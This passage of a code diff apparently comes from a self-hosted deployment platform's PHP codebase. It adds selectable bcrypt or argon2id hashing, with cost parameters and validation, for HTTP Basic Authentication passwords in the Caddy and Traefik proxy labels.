'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], @@ -981,6 +994,10 @@ class ApplicationsController extends Controller 'is_http_basic_auth_enabled' => ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'default' => 'bcrypt', 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'default' => 10, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'default' => 65536, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'default' => 4, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], @@ -1143,6 +1160,10 @@ class ApplicationsController extends Controller 'is_http_basic_auth_enabled' => ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'default' => 'bcrypt', 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'default' => 10, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'default' => 65536, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'default' => 4, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], @@ -1228,7 +1249,7 @@ class ApplicationsController extends Controller if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'use_build_secrets', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1240,7 +1261,9 @@ class ApplicationsController extends Controller 'destination_uuid' => 'string', 'is_http_basic_auth_enabled' => 'boolean', 'http_basic_auth_username' => 'string|nullable', - 'http_basic_auth_password' => 'string|nullable', + // bcrypt ignores everything after 72 bytes. Labels for Traefik always use bcrypt and are also generated on + // Caddy servers when "Labels for all supported proxies" is selected, so that the proxy can be switched easily. + 'http_basic_auth_password' => 'string|nullable|max:72', 'autogenerate_domain' => 'boolean', 'tags' => 'array|nullable', 'tags.*' => 'string|min:2', @@ -3106,6 +3129,10 @@ class ApplicationsController extends Controller 'watch_paths' => ['type' => 'string', 'description' => 'The watch paths.'], 'use_build_server' => ['type' => 'boolean', 'nullable' => true, 'description' => 'Use build server.'], 'use_build_secrets' => ['type' => 'boolean', 'description' => 'Use Docker Build Secrets for build-time environment variables.'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], 'is_git_submodules_enabled' => ['type' => 'boolean', 'description' => 'Clone Git submodules.'], 'is_git_lfs_enabled' => ['type' => 'boolean', 'description' => 'Enable Git LFS.'], 'is_git_shallow_clone_enabled' => ['type' => 'boolean', 'description' => 'Use a shallow Git clone.'], @@ -3226,7 +3253,7 @@ class ApplicationsController extends Controller $dnsCleanup = app(ManagedDnsRecordCleanup::class); $previousDnsHostnames = $dnsCleanup->hostnamesOf($application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'is_preview_deployments_enabled', 'domains', 'noindex_domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'use_build_secrets', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled', 'preview_url_template', 'max_restart_count', ...self::APPLICATION_SETTING_FIELDS]; $validationRules = [ 'name' => 'string|max:255', @@ -3241,7 +3268,9 @@ class ApplicationsController extends Controller 'is_http_basic_auth_enabled' => 'boolean|nullable', 'is_preview_deployments_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', - 'http_basic_auth_password' => 'string', + // bcrypt ignores everything after 72 bytes. Labels for Traefik always use bcrypt and are also generated on + // Caddy servers when "Labels for all supported proxies" is selected, so that the proxy can be switched easily. + 'http_basic_auth_password' => 'string|max:72', 'include_source_commit_in_build' => 'boolean', 'ports_exposes' => 'nullable|string|regex:/^(\d+)(,\d+)*$/', ]; @@ -3322,7 +3351,8 @@ class ApplicationsController extends Controller $requestHasHttpBasicAuth = $request->has('is_http_basic_auth_enabled') || $request->has('http_basic_auth_username') - || $request->has('http_basic_auth_password'); + || $request->has('http_basic_auth_password') + || $request->hasAny(['http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost']); if ($request->has('is_http_basic_auth_enabled') && $request->is_http_basic_auth_enabled === true) { if (blank($application->http_basic_auth_username) || blank($application->http_basic_auth_password)) { @@ -4867,6 +4897,15 @@ class ApplicationsController extends Controller { $teamId = getTeamIdFromToken(); + if ($request->input('http_basic_auth_hash_algorithm') === HttpBasicAuthHashAlgorithm::ARGON2ID->value && ! $server->caddySupportsArgon2idBasicAuth()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'http_basic_auth_hash_algorithm' => 'Argon2id needs a server that runs the Caddy proxy, version 2.11 or newer.', + ], + ], 422); + } + // Validate ports_mappings if ($request->has('ports_mappings')) { $ports = []; diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5d272b36fa..0e13b97501 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Application; +use App\Enums\HttpBasicAuthHashAlgorithm; use App\Enums\StaticImageTypes; use App\Jobs\ApplicationDeploymentJob; use App\Livewire\Project\Service\Storage; @@ -118,6 +119,14 @@ class General extends Component public ?string $httpBasicAuthPassword = null; + public string $httpBasicAuthHashAlgorithm = HttpBasicAuthHashAlgorithm::BCRYPT->value; + + public int $httpBasicAuthBcryptCost = 10; + + public int $httpBasicAuthArgon2idMemoryCost = 65536; + + public int $httpBasicAuthArgon2idTimeCost = 4; + public ?string $watchPaths = null; public string $redirect; @@ -193,7 +202,13 @@ class General extends Component 'isPreserveRepositoryEnabled' => 'boolean|required', 'isHttpBasicAuthEnabled' => 'boolean|required', 'httpBasicAuthUsername' => 'string|nullable', - 'httpBasicAuthPassword' => 'string|nullable', + // bcrypt ignores everything after 72 bytes. Labels for Traefik always use bcrypt and are also generated on + // Caddy servers when "Labels for all supported proxies" is selected, so that the proxy can be switched easily. + 'httpBasicAuthPassword' => 'string|nullable|max:72', + 'httpBasicAuthHashAlgorithm' => ['required', Rule::enum(HttpBasicAuthHashAlgorithm::class)], + 'httpBasicAuthBcryptCost' => 'required|integer|min:4|max:14', + 'httpBasicAuthArgon2idMemoryCost' => 'required|integer|min:8192|max:262144', + 'httpBasicAuthArgon2idTimeCost' => 'required|integer|min:1|max:12', 'watchPaths' => 'nullable', 'redirect' => 'string|required', ]; @@ -367,6 +382,9 @@ class General extends Component if ($toModel) { $this->validate(); $this->validateChangedDockerComposeRaw(); + if ($this->httpBasicAuthHashAlgorithm === HttpBasicAuthHashAlgorithm::ARGON2ID->value && ! $this->application->destination->server->caddySupportsArgon2idBasicAuth()) { + throw new Exception('Argon2id needs a server that runs the Caddy proxy, version 2.11 or newer.'); + } // Application properties $this->application->name = $this->name; @@ -407,6 +425,10 @@ class General extends Component $this->application->is_http_basic_auth_enabled = $this->isHttpBasicAuthEnabled; $this->application->http_basic_auth_username = $this->httpBasicAuthUsername; $this->application->http_basic_auth_password = $this->httpBasicAuthPassword; + $this->application->http_basic_auth_hash_algorithm = $this->httpBasicAuthHashAlgorithm; + $this->application->http_basic_auth_bcrypt_cost = $this->httpBasicAuthBcryptCost; + $this->application->http_basic_auth_argon2id_memory_cost = $this->httpBasicAuthArgon2idMemoryCost; + $this->application->http_basic_auth_argon2id_time_cost = $this->httpBasicAuthArgon2idTimeCost; $this->application->watch_paths = $this->watchPaths; $this->application->redirect = $this->redirect; @@ -460,6 +482,10 @@ class General extends Component $this->httpBasicAuthPassword = auth()->user()->can('update', $this->application) ? $this->application->http_basic_auth_password : null; + $this->httpBasicAuthHashAlgorithm = ($this->application->usesArgon2idBasicAuth() ? HttpBasicAuthHashAlgorithm::ARGON2ID : HttpBasicAuthHashAlgorithm::BCRYPT)->value; + $this->httpBasicAuthBcryptCost = $this->application->http_basic_auth_bcrypt_cost; + $this->httpBasicAuthArgon2idMemoryCost = $this->application->http_basic_auth_argon2id_memory_cost; + $this->httpBasicAuthArgon2idTimeCost = $this->application->http_basic_auth_argon2id_time_cost; $this->watchPaths = $this->application->watch_paths; $this->redirect = $this->application->redirect; @@ -497,7 +523,7 @@ class General extends Component if ($oldIsSpa !== $this->isSpa) { $this->generateNginxConfiguration($this->isSpa ? 'spa' : 'static'); } - if ($oldIsHttpBasicAuthEnabled !== $this->isHttpBasicAuthEnabled) { + if ($oldIsHttpBasicAuthEnabled !== $this->isHttpBasicAuthEnabled || $this->application->isDirty(['http_basic_auth_hash_algorithm', 'http_basic_auth_bcrypt_cost', 'http_basic_auth_argon2id_memory_cost', 'http_basic_auth_argon2id_time_cost'])) { $this->application->save(); } diff --git a/app/Models/Application.php b/app/Models/Application.php index 277b7ec246..1c3c416bb1 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -4,6 +4,7 @@ namespace App\Models; use App\Enums\ApplicationDeploymentStatus; use App\Enums\BuildPackTypes; +use App\Enums\HttpBasicAuthHashAlgorithm; use App\Enums\ProxyTypes; use App\Exceptions\DeploymentException; use App\Services\ConfigurationGenerator; @@ -125,6 +126,10 @@ use Symfony\Component\Yaml\Yaml; 'is_http_basic_auth_enabled' => ['type' => 'boolean', 'description' => 'HTTP Basic Authentication enabled.'], 'http_basic_auth_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTP Basic Authentication'], 'http_basic_auth_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password for HTTP Basic Authentication'], + 'http_basic_auth_hash_algorithm' => ['type' => 'string', 'enum' => ['bcrypt', 'argon2id'], 'description' => 'Hash algorithm for the HTTP Basic Authentication password. Argon2id needs the Caddy proxy, version 2.11 or newer.'], + 'http_basic_auth_bcrypt_cost' => ['type' => 'integer', 'minimum' => 4, 'maximum' => 14, 'description' => 'Bcrypt cost for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_memory_cost' => ['type' => 'integer', 'minimum' => 8192, 'maximum' => 262144, 'description' => 'Argon2id memory cost in KiB for the HTTP Basic Authentication password.'], + 'http_basic_auth_argon2id_time_cost' => ['type' => 'integer', 'minimum' => 1, 'maximum' => 12, 'description' => 'Argon2id time cost (iterations) for the HTTP Basic Authentication password.'], new OA\Property(property: 'settings', ref: '#/components/schemas/ApplicationSetting'), ] )] @@ -220,6 +225,10 @@ class Application extends BaseModel 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', + 'http_basic_auth_hash_algorithm', + 'http_basic_auth_bcrypt_cost', + 'http_basic_auth_argon2id_memory_cost', + 'http_basic_auth_argon2id_time_cost', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', @@ -268,6 +277,7 @@ class Application extends BaseModel { return [ 'http_basic_auth_password' => 'encrypted', + 'http_basic_auth_hash_algorithm' => HttpBasicAuthHashAlgorithm::class, 'manual_webhook_secret_github' => 'encrypted', 'manual_webhook_secret_gitlab' => 'encrypted', 'manual_webhook_secret_bitbucket' => 'encrypted', @@ -657,6 +667,12 @@ class Application extends BaseModel return $this->source instanceof GithubApp; } + public function usesArgon2idBasicAuth(): bool + { + return $this->http_basic_auth_hash_algorithm === HttpBasicAuthHashAlgorithm::ARGON2ID + && $this->destination->server->caddySupportsArgon2idBasicAuth(); + } + public function isForceHttpsEnabled() { return data_get($this, 'settings.is_force_https_enabled', false); diff --git a/app/Models/Server.php b/app/Models/Server.php index 88f3ecc15a..2fc5a99e3e 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -1244,6 +1244,12 @@ $siteAddress { return $this->caddyRunsCurrentVersion(); } + public function caddySupportsArgon2idBasicAuth(): bool + { + return $this->caddyRunsCurrentVersion() + && self::caddyDockerProxyImageVersion($this->configuredCaddyProxyImage()) >= [2, 11]; + } + public function isServerApiEnabled(): bool { return $this->settings->is_sentinel_enabled; diff --git a/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php b/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php index b974e03db3..6a38840c5f 100644 --- a/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php +++ b/app/Services/DeploymentConfiguration/ApplicationConfigurationSnapshot.php @@ -208,6 +208,10 @@ class ApplicationConfigurationSnapshot $this->item('is_http_basic_auth_enabled', 'HTTP basic auth', $this->application->is_http_basic_auth_enabled, 'redeploy'), $this->item('http_basic_auth_username', 'HTTP basic auth username', $this->application->http_basic_auth_username, 'redeploy'), $this->item('http_basic_auth_password', 'HTTP basic auth password', $this->application->http_basic_auth_password, 'redeploy', sensitive: true), + $this->item('http_basic_auth_hash_algorithm', 'HTTP basic auth hash algorithm', $this->application->http_basic_auth_hash_algorithm?->value, 'redeploy'), + $this->item('http_basic_auth_bcrypt_cost', 'HTTP basic auth bcrypt cost factor', $this->application->http_basic_auth_bcrypt_cost, 'redeploy'), + $this->item('http_basic_auth_argon2id_memory_cost', 'HTTP basic auth Argon2id memory (KiB)', $this->application->http_basic_auth_argon2id_memory_cost, 'redeploy'), + $this->item('http_basic_auth_argon2id_time_cost', 'HTTP basic auth Argon2id iterations', $this->application->http_basic_auth_argon2id_time_cost, 'redeploy'), ]; } diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index ee89f52c6f..46501331e9 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -2,6 +2,7 @@ use App\Actions\Shared\MigrateResourceToDestination; use App\Enums\BuildPackTypes; +use App\Enums\HttpBasicAuthHashAlgorithm; use App\Enums\RedirectTypes; use App\Enums\StaticImageTypes; use App\Models\Application; @@ -276,6 +277,10 @@ function sharedDataApplications(?Application $application = null): array 'docker_compose_custom_build_command' => ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', 'is_preserve_repository_enabled' => 'boolean', + 'http_basic_auth_hash_algorithm' => Rule::enum(HttpBasicAuthHashAlgorithm::class), + 'http_basic_auth_bcrypt_cost' => 'integer|min:4|max:14', + 'http_basic_auth_argon2id_memory_cost' => 'integer|min:8192|max:262144', + 'http_basic_auth_argon2id_time_cost' => 'integer|min:1|max:12', ]; } diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index b44714a8b0..464bad84cc 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -766,7 +766,7 @@ function isNoindexDomain(string $domain, ?Collection $noindex_domains): bool ->contains(ValidationPatterns::normalizeApplicationDomainUrl($domain)); } -function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, ?string $image = null, string $redirect_direction = 'both', ?string $predefinedPort = null, bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $is_traffic_analytics_enabled = false, array $domainPortOverrides = [], bool $supports_log_append = false, bool $supports_basic_auth_directive = false) +function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, ?string $image = null, string $redirect_direction = 'both', ?string $predefinedPort = null, bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $is_traffic_analytics_enabled = false, array $domainPortOverrides = [], bool $supports_log_append = false, bool $supports_basic_auth_directive = false, ?int $http_basic_auth_bcrypt_cost = null, array $http_basic_auth_argon2id_options = []) { $labels = collect([]); if ($serviceLabels) { @@ -777,7 +777,9 @@ function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, $is_http_basic_auth_enabled = $is_http_basic_auth_enabled && $http_basic_auth_username !== null && $http_basic_auth_password !== null; if ($is_http_basic_auth_enabled) { - $hashedPassword = password_hash($http_basic_auth_password, PASSWORD_BCRYPT, ['cost' => 10]); + $hashedPassword = $http_basic_auth_argon2id_options + ? password_hash($http_basic_auth_password, PASSWORD_ARGON2ID, $http_basic_auth_argon2id_options) + : password_hash($http_basic_auth_password, PASSWORD_BCRYPT, ['cost' => $http_basic_auth_bcrypt_cost ?? 10]); } $trafficAppKey = caddyTrafficAppKey($uuid, $service_name); @@ -834,6 +836,9 @@ function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, if ($is_http_basic_auth_enabled) { // Caddy 2.8 renamed basicauth to basic_auth; see Server::caddySupportsBasicAuthDirective(). $basicAuthDirective = $supports_basic_auth_directive ? 'basic_auth' : 'basicauth'; + if ($http_basic_auth_argon2id_options) { + $labels->push("caddy_{$loop}.{$basicAuthDirective}=argon2id"); + } $labels->push("caddy_{$loop}.{$basicAuthDirective}.{$http_basic_auth_username}=\"{$hashedPassword}\""); } if ($is_traffic_analytics_enabled) { @@ -907,7 +912,7 @@ function dockerComposeServicePorts(?string $compose, ?string $serviceName): arra ->unique()->values()->all(); } -function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, bool $generate_unique_uuid = false, ?string $image = null, string $redirect_direction = 'both', bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $escape_redirect_replacement_for_compose = true, array $domainPortOverrides = []) +function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, bool $generate_unique_uuid = false, ?string $image = null, string $redirect_direction = 'both', bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $escape_redirect_replacement_for_compose = true, array $domainPortOverrides = [], ?int $http_basic_auth_bcrypt_cost = null) { $labels = collect([]); $labels->push('traefik.enable=true'); @@ -919,7 +924,7 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ $is_http_basic_auth_enabled = $is_http_basic_auth_enabled && $http_basic_auth_username !== null && $http_basic_auth_password !== null; $http_basic_auth_label = "http-basic-auth-{$uuid}"; if ($is_http_basic_auth_enabled) { - $hashedPassword = password_hash($http_basic_auth_password, PASSWORD_BCRYPT, ['cost' => 10]); + $hashedPassword = password_hash($http_basic_auth_password, PASSWORD_BCRYPT, ['cost' => $http_basic_auth_bcrypt_cost ?? 10]); } if ($is_http_basic_auth_enabled) { @@ -1186,6 +1191,10 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview $appUuid = $appUuid.'-pr-'.$pull_request_id; } $labels = collect([]); + $httpBasicAuthArgon2idOptions = $application->usesArgon2idBasicAuth() ? [ + 'memory_cost' => $application->http_basic_auth_argon2id_memory_cost, + 'time_cost' => $application->http_basic_auth_argon2id_time_cost, + ] : []; if ($pull_request_id === 0) { if ($application->fqdn) { $domains = str(data_get($application, 'fqdn'))->explode(','); @@ -1205,6 +1214,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, noindex_domains: $noindexDomains, domainPortOverrides: $application->domain_port_overrides ?? [], )); @@ -1222,6 +1232,8 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, http_basic_auth_password: $application->http_basic_auth_password, + http_basic_auth_bcrypt_cost: $application->http_basic_auth_bcrypt_cost, + http_basic_auth_argon2id_options: $httpBasicAuthArgon2idOptions, noindex_domains: $noindexDomains, is_traffic_analytics_enabled: $application->destination->server->isTrafficAnalyticsEnabled(), supports_log_append: $application->destination->server->caddySupportsLogAppend(), @@ -1242,6 +1254,7 @@ function generateLabelsApplication(Application $application, ?ApplicationPreview is_http_basic_auth_enabled: $application->is_http_basic_auth_enabled, http_basic_auth_username: $application->http_basic_auth_username, 